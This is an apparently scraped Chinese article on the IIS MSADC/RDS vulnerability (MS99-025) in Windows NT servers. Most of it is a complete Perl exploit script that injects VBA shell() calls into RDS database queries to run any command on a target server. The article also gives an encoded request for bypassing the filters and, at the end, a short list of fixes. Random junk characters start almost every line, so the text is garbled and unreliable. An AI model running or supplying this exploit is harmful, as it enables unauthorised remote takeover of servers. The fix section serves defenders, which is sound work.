IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
7xX;MB & =6.8bZT\ 涉及程序：
elN{7: Microsoft NT server
9 yh9HE N7d17c.
5 描述：
(J6"
; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"9c.C I D2Vb{ %(4. 详细：
Ask' ! 如果你没有时间读详细内容的话，就删除:
|z.Gh1GCy c:\Program Files\Common Files\System\Msadc\msadcs.dll
$ \? N<W 有关的安全问题就没有了。
x, G6\QmA i}.{m Et 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
qzuQq94k pWWL{@ J 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
% 4?S Y82 关于利用ODBC远程漏洞的描述，请参看:
ZC3tbhV <m?GJuQ' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *LY ~l L!CX & 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
hB |H9+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp (%``EIc<8 !7 ei1 这里不再论述。
( rA\_FOJ Mfnlue]( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
OpW eW J xA ^DH /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#pS]k<o%1 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
cp E 25 CBiU#h
q 0_YxZS\ #将下面这段保存为txt文件，然后: "perl -x 文件名"
;cM8EU^. F{#N6,T #!perl
!yoSMI- #
)e4WAlg8c # MSADC/RDS 'usage' (aka exploit) script
7Vz[ji #
u Y? /B ~ # by rain.forest.puppy
qZT 4+&y #
Q'n(^t bL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4+ASw N9 # beta test and find errors!
oUW )H nz ,Mqol use Socket; use Getopt::Std;
71oFm1m{ getopts("e:vd:h:XR", \%args);
-X"5G
Z! C`f /h9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$nUd\B$.= 6{J R 0 if (!defined $args{h} && !defined $args{R}) {
" #mXsp-ut print qq~
*u|lmALs Usage: msadc.pl -h <host> { -d <delay> -X -v }
?noE TH z) -h <host> = host you want to scan (ip or domain)
y3
({(URU -d <seconds> = delay between calls, default 1 second
_hAj2%SL -X = dump Index Server path table, if available
0EL\Hd -v = verbose
( {;P#qCX -e = external dictionary file for step 5
7\7 Brw4 yt/20a Or a -R will resume a command session
F&W0DaH .ujs`9d_- ~; exit;}
tnQR< uM6CG0 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(PCimT=5 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4 7)+'` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
K;@RUy~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
blKDQ~T2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
N0y;PVAGu if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
sDaT[).Hm Nz(c"3T; if (!defined $args{R}){ $ret = &has_msadc;
[
4?cM\_u@ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Uv
@!i0W 9%p7B ~}E print "Please type the NT commandline you want to run (cmd /c assumed):\n"
O:oU`vE . "cmd /c ";
M iP[UCh $in=<STDIN>; chomp $in;
d1 srV` $command="cmd /c " . $in ;
otmIu` h b
xk'a,!S if (defined $args{R}) {&load; exit;}
|' V<>v.v IqvqvHxLX print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_~X8/p/Qh &try_btcustmr;
B-y0 ;0 x'E' jh% print "\nStep 2: Trying to make our own DSN...";
FbN H+? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
l fU"SSQ r d&*j^? print "\nStep 3: Trying known DSNs...";
8{}Pj &known_dsn;
U~u6}s]: dCf'\ @<< print "\nStep 4: Trying known .mdbs...";
Bo](n*i &known_mdb;
p0}+071o% >cwJl@wx- if (defined $args{e}){
8k+q 7 print "\nStep 5: Trying dictionary of DSN names...";
vh1
Ma<cx &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
jQ .>2-;H9 !uj! print "Sorry Charley...maybe next time?\n";
8!`7- exit;
'Yaf\Hp B#qL$M,| ##############################################################################
[M7iJcwt ^ D ]7pe sub sendraw { # ripped and modded from whisker
Jf %!I sleep($delay); # it's a DoS on the server! At least on mine...
,mO(!D my ($pstr)=@_;
L 337/8fh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7
SjF9x die("Socket problems\n");
;w>3,ub(0 if(connect(S,pack "SnA4x8",2,80,$target)){
.NV)hg)|cZ select(S); $|=1;
dK0}% ]i3# print $pstr; my @in=<S>;
|g7nh[ select(STDOUT); close(S);
+Bt LyQ return @in;
yBYuDfeZ } else { die("Can't connect...\n"); }}
k=h/i8i2z 5 p]urfN-f ##############################################################################
mC{!8WC@k mFgb_Cd sub make_header { # make the HTTP request
#K<=xP my $msadc=<<EOT
uZqu xu. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
z. _C*c User-Agent: ACTIVEDATA
?{@!!te@3v Host: $ip
Q8}TNJsU Content-Length: $clen
\jF" nl Connection: Keep-Alive
^-e3=& ~WYE"( ADCClientVersion:01.06
75hFyh;u Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
OUBgBr HonAK --!ADM!ROX!YOUR!WORLD!
"EOk^1,y Content-Type: application/x-varg
eSvc/ CU Content-Length: $reqlen
;4S
[ba1/ ?v )"%. EOT
$X.'W\o| ; $msadc=~s/\n/\r\n/g;
(zM+ 7tJH return $msadc;}
43}&w .AS (<> Sz( ##############################################################################
C~
}Wo5 xdbu|fC sub make_req { # make the RDS request
3-9J "d ! my ($switch, $p1, $p2)=@_;
@
@3)D%h my $req=""; my $t1, $t2, $query, $dsn;
D:6x*+jah) r0Y?X\l* if ($switch==1){ # this is the btcustmr.mdb query
mTXNHvv $query="Select * from Customers where City=" . make_shell();
8eS@<[[F# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
eBYaq!t
k $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
T_oW) G 654jS! elsif ($switch==2){ # this is general make table query
; K)?: $query="create table AZZ (B int, C varchar(10))";
I).^,%>Z) $dsn="$p1";}
wEo-a< ( ]mO+<{{4X elsif ($switch==3){ # this is general exploit table query
jKb=Zkd $query="select * from AZZ where C=" . make_shell();
uc"[ qT(X $dsn="$p1";}
H z < M
Skk3M? elsif ($switch==4){ # attempt to hork file info from index server
VvM U) $query="select path from scope()";
Tl/Dq(8JH $dsn="Provider=MSIDXS;";}
^Lg{2hjj P :7l#/x_ elsif ($switch==5){ # bad query
!Lg}q!*%>V $query="select";
w=P <4 bdT $dsn="$p1";}
{6=H/g=:i Me K\eZ\ $t1= make_unicode($query);
9/X v&<Tn $t2= make_unicode($dsn);
fbx;-He! $req = "\x02\x00\x03\x00";
-fSKJo#}| $req.= "\x08\x00" . pack ("S1", length($t1));
i/ O,`2 $req.= "\x00\x00" . $t1 ;
&' Nk2{ $req.= "\x08\x00" . pack ("S1", length($t2));
$CQwBsYb= $req.= "\x00\x00" . $t2 ;
EbwZZSds1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
C(%5,|6 return $req;}
,rl
<ye*& u
UVV>An ##############################################################################
v\?\(Y55Y c;t(j'k` sub make_shell { # this makes the shell() statement
ee d\0 return "'|shell(\"$command\")|'";}
["#A -S +D V6oh ##############################################################################
C)3$";$5) h}B# 'e sub make_unicode { # quick little function to convert to unicode
6 pe M4X my ($in)=@_; my $out;
{'wU& ! for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1^H<+0 return $out;}
^)0{42!] {</$ObK ##############################################################################
)S;Xy`vO `w+9j- sub rdo_success { # checks for RDO return success (this is kludge)
3sg)]3jm2 my (@in) = @_; my $base=content_start(@in);
_I70qz8 if($in[$base]=~/multipart\/mixed/){
KxTYc return 1 if( $in[$base+10]=~/^\x09\x00/ );}
- 5-SlQu return 0;}
3_1Io+uXk M : Y!k<p ##############################################################################
YT 03>!B '`goy%Wd sub make_dsn { # this makes a DSN for us
# #+ 8GLQM my @drives=("c","d","e","f");
WbD C print "\nMaking DSN: ";
ofrlTw&o foreach $drive (@drives) {
;| $]Qq print "$drive: ";
A'AWuj\r2R my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
d[ Fr "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5_tK3Q8? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
u%IKM \ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~PAbLSL*u return 0 if $2 eq "404"; # not found/doesn't exist
U+}9X^ if($2 eq "200") {
sxQ ,x/O foreach $line (@results) {
7!yF5 +_d return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
W 9:{pQG } return 0;}
vM3|Ti>a' eS# 0 - ##############################################################################
6~Oje>w; Vqp.jF1| sub verify_exists {
d<cbp [3F my ($page)=@_;
Ex s _LN my @results=sendraw("GET $page HTTP/1.0\n\n");
+ MoxvW6 return $results[0];}
+fQ$~vr{' O>):^$-K% ##############################################################################
#pn AK tIy/QN_42 sub try_btcustmr {
2mp>Mn~K^ my @drives=("c","d","e","f");
E~O>m8hF my @dirs=("winnt","winnt35","winnt351","win","windows");
)I
UWM .N><yQ-j3' foreach $dir (@dirs) {
+5}T!r print "$dir -> "; # fun status so you can see progress
md
+`#-D\O foreach $drive (@drives) {
czsoD) N print "$drive: "; # ditto
d@`:9
G 3 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
i. dAL)V $reqlenlen=length( "$reqlen" );
P;91C'T-x $clen= 206 + $reqlenlen + $reqlen;
]}Hv,a
^d $e^cU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
U
&k 3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Pc
?G^
Xol else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
F1[ [fH 3\l9Sf=M| ##############################################################################
]~ 8N <.B > LU sub odbc_error {
mt]YY<l my (@in)=@_; my $base;
wU3ica&[ my $base = content_start(@in);
5OqsnL _V if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
tZBE& :l $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UHl/AM> ! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t:@A)i p $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>33b@) return $in[$base+4].$in[$base+5].$in[$base+6];}
<^c0bY1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{ rJF)\2 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
p C.P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
` e;Sjf < ZTz(NS
EK ##############################################################################
x3F L/^S #K*q(ei,7h sub verbose {
]x{ H my ($in)=@_;
_^s SI<&m return if !$verbose;
^
J@i7 FOb print STDOUT "\n$in\n";}
#"YWz)8 -ddatc| ##############################################################################
x=|@AFI {j4:. fD sub save {
{ZI6!zh' my ($p1, $p2, $p3, $p4)=@_;
_Ws k3AP open(OUT, ">rds.save") || print "Problem saving parameters...\n";
tJfN6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
bD[W~ku close OUT;}
\ bmboNe t4W0~7 ##############################################################################
2Sd6b 2- &`y_R' sub load {
{YLJKu!M my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
p.Yg-CA open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_BaS\U%1( @p=<IN>; close(IN);
n/Z =q?_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
0~5}F^8[L $target= inet_aton($ip) || die("inet_aton problems");
& I_!&m~ print "Resuming to $ip ...";
R,Uy 3N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
@!HMd{ r if($p[1]==1) {
2>$L>2$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
! r\ktX $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wm [d5A4 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
e' ;c8WF3E if (rdo_success(@results)){print "Success!\n";}
9cPucKuj else { print "failed\n"; verbose(odbc_error(@results));}}
2_ D tzY:= elsif ($p[1]==3){
wWswuhq< if(run_query("$p[3]")){
KAEpFob Yo print "Success!\n";} else { print "failed\n"; }}
v^E2!X elsif ($p[1]==4){
K`2DhJC if(run_query($drvst . "$p[3]")){
}i~ j"m print "Success!\n"; } else { print "failed\n"; }}
U^ S:2 exit;}
pMrf i}esx ~u1J R`y ##############################################################################
~/[N)RFD ds[~Cp sub create_table {
A |nU
_* my ($in)=@_;
pDN,(Ip $reqlen=length( make_req(2,$in,"") ) - 28;
#>NZN1 $reqlenlen=length( "$reqlen" );
1S@k=EKM $clen= 206 + $reqlenlen + $reqlen;
GUZi }a|= my @results=sendraw(make_header() . make_req(2,$in,""));
?E+XD'~ return 1 if rdo_success(@results);
nXW1 : my $temp= odbc_error(@results); verbose($temp);
3Or3@e5r return 1 if $temp=~/Table 'AZZ' already exists/;
j* ja) return 0;}
DzOJ{dF :fUmMta ##############################################################################
SX8%F:<. M "
\y2
sub known_dsn {
|,f6c
Om f # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
B}T72 !a my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
l/M+JT~R "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g}h0J%s "banner", "banners", "ads", "ADCDemo", "ADCTest");
wpmtv3 2 5 |Q+v6r(<zZ foreach $dSn (@dsns) {
`buTP?]4. print ".";
aa!c>"g6 next if (!is_access("DSN=$dSn"));
N.r B- if(create_table("DSN=$dSn")){
pp _ddk print "$dSn successful\n";
l)bUHh5[ if(run_query("DSN=$dSn")){
0$
EJ4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bsVOO9.4- print "Something's borked. Use verbose next time\n";}}} print "\n";}
L2tmo-]nw % QkvBg* ##############################################################################
XRin~wz|S b6VAyTa sub is_access {
u^9,u/gj my ($in)=@_;
7MfvU|D[d/ $reqlen=length( make_req(5,$in,"") ) - 28;
Jl}7]cVq# $reqlenlen=length( "$reqlen" );
{)xrg sB $clen= 206 + $reqlenlen + $reqlen;
}=)"uv my @results=sendraw(make_header() . make_req(5,$in,""));
}]) f^ my $temp= odbc_error(@results);
OMNdvrE*=O verbose($temp); return 1 if ($temp=~/Microsoft Access/);
2/WXdo return 0;}
)A"7l7?.n) :W55JD' ##############################################################################
dD!SgK [Jv N9Vcp~; sub run_query {
A&#Bf#!G my ($in)=@_;
b*7i&q'H $reqlen=length( make_req(3,$in,"") ) - 28;
z""(M4 $reqlenlen=length( "$reqlen" );
uEY 5&wX` $clen= 206 + $reqlenlen + $reqlen;
,;}RIcvQV my @results=sendraw(make_header() . make_req(3,$in,""));
(~4AG \ return 1 if rdo_success(@results);
=cY]cPO my $temp= odbc_error(@results); verbose($temp);
~*Wb MA return 0;}
H2p;J#cv@ .d,Z x ##############################################################################
>n62csO 2Ev, dWV sub known_mdb {
g'@+#NMw my @drives=("c","d","e","f","g");
%-.GyG$i my @dirs=("winnt","winnt35","winnt351","win","windows");
;!b(b% my $dir, $drive, $mdb;
FeJ5^Gh. my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9EW 7,m{A L M[<?`%p # this is sparse, because I don't know of many
VB %xV
my @sysmdbs=( "\\catroot\\icatalog.mdb",
0rj* SC_ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@(L | "\\system32\\certmdb.mdb",
_L ].n)b "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
=>U~ligu 7;V5hul my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"`wq:$R "\\cfusion\\cfapps\\forums\\forums_.mdb",
2J5dZYW "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8h=XQf6k0 "\\cfusion\\cfapps\\security\\realm_.mdb",
c@P, "\\cfusion\\cfapps\\security\\data\\realm.mdb",
> im 4'- "\\cfusion\\database\\cfexamples.mdb",
j- -#vEW "\\cfusion\\database\\cfsnippets.mdb",
&-9D.'WzP "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;DOz92X94 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
c1f6RCu$b "\\cfusion\\brighttiger\\database\\cleam.mdb",
}9JPSl28Jr "\\cfusion\\database\\smpolicy.mdb",
- K{ID$!p "\\cfusion\\database\cypress.mdb",
*Bj G3 Jc5 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
B^Q#@[T "\\website\\cgi-win\\dbsample.mdb",
6lGL.m'Ra "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
(`N/1}vk "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
I <7K^j+5: ); #these are just
jdzV & foreach $drive (@drives) {
}\ F>z foreach $dir (@dirs){
6)8']f foreach $mdb (@sysmdbs) {
+}!eAMQ print ".";
4C$,X!kzF if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_<8y^ymo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
i.]}ooI if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~Hq
2' print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
l #Tm`br } else { print "Something's borked. Use verbose next time\n"; }}}}}
Z'~5L_.]Ai &*}S 0 foreach $drive (@drives) {
pfG:P rZ foreach $mdb (@mdbs) {
d$ /o\G print ".";
0WFZx
Ad " if(create_table($drv . $drive . $dir . $mdb)){
[g{}0 [ew print "\n" . $drive . $dir . $mdb . " successful\n";
*w;f\zW if(run_query($drv . $drive . $dir . $mdb)){
f55Ev<oOa print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Jg:'gF]jt } else { print "Something's borked. Use verbose next time\n"; }}}}
q&.!*rPD }
xFJ>s -g* />?d
2? ##############################################################################
a;(:iMCi >3JOQ;:d8 sub hork_idx {
DI\^ +P print "\nAttempting to dump Index Server tables...\n";
9f
"*O j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Kr<O7t0X $reqlen=length( make_req(4,"","") ) - 28;
6\bbP>ql $reqlenlen=length( "$reqlen" );
s}.nh>Q $clen= 206 + $reqlenlen + $reqlen;
AxeWj%w@ my @results=sendraw2(make_header() . make_req(4,"",""));
>/>a++19 if (rdo_success(@results)){
hN.#ui5 $ my $max=@results; my $c; my %d;
aCanDMcBnq for($c=19; $c<$max; $c++){
,/KHKLY7 $results[$c]=~s/\x00//g;
=F`h2 A;a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
J]%P
fWV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`U1"WcN $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;rFa I^ $d{"$1$2"}="";}
HZm44y$/ foreach $c (keys %d){ print "$c\n"; }
[x&&N*>N } else {print "Index server doesn't seem to be installed.\n"; }}
1Dbe0u 5H79) n> ##############################################################################
OygYP ?E`J-ncP sub dsn_dict {
_tjH=Ff$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9'tM65K while(<IN>){
mb#)w`< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Yv{AoL~ next if (!is_access("DSN=$dSn"));
6l =n&YO if(create_table("DSN=$dSn")){
{Hb _o)S print "$dSn successful\n";
&I70veNY if(run_query("DSN=$dSn")){
jq[>PvR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=($qiL'h print "Something's borked. Use verbose next time\n";}}}
c/s'&gG33z print "\n"; close(IN);}
rS cmUt au8) G_A ##############################################################################
2XE4w# [j r"n)I$ sub sendraw2 { # ripped and modded from whisker
h'bxgIl'` sleep($delay); # it's a DoS on the server! At least on mine...
@/9>
/?JP my ($pstr)=@_;
8E" .y$AW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a; "+Py die("Socket problems\n");
2}`OjVS if(connect(S,pack "SnA4x8",2,80,$target)){
rnW i<Se print "Connected. Getting data";
DCNuvrZ open(OUT,">raw.out"); my @in;
U{ Y)\hR- select(S); $|=1; print $pstr;
A_2p pEG while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Awj`6GeJ close(OUT); select(STDOUT); close(S); return @in;
+"C0de |- } else { die("Can't connect...\n"); }}
wC[J=:]tA5 -0W;b" ]+A ##############################################################################
+n0y/0Au w<'mV^S sub content_start { # this will take in the server headers
<"t >! I my (@in)=@_; my $c;
'd28YjtoX for ($c=1;$c<500;$c++) {
h7*m+ / O if($in[$c] =~/^\x0d\x0a/){
$ }&6p6| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
u^`B#b ' else { return $c+1; }}}
# OJD<=") return -1;} # it should never get here actually
\dP2xou= rsP1?Hxq ##############################################################################
zRz3ot,| ci$o~b6V sub funky {
q
H + ~rj my (@in)=@_; my $error=odbc_error(@in);
xD~:= ]G if($error=~/ADO could not find the specified provider/){
j 3FDGDrg print "\nServer returned an ADO miscofiguration message\nAborting.\n";
(BJs6":BFe exit;}
`'g%z: ~ if($error=~/A Handler is required/){
e]rWR print "\nServer has custom handler filters (they most likely are patched)\n";
5r.{vQ exit;}
K(_nfE{ if($error=~/specified Handler has denied Access/){
-JcfP+{wS print "\nServer has custom handler filters (they most likely are patched)\n";
;}r# 08I exit;}}
)37|rB E C 9~CP8 ##############################################################################
LTi0,03l< X&K1>dgWP sub has_msadc {
$FD0MrB_+ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
N[AX29 my $base=content_start(@results);
. [C ~a return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xL mo?Y* return 0;}
fFsA[@5tul 2"NJ t9w ########################
?gTY! ;$P 3.8d" [1N*mY; 解决方案：
2r1., 1 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
s:Memvf 2、移除web 目录: /msadc
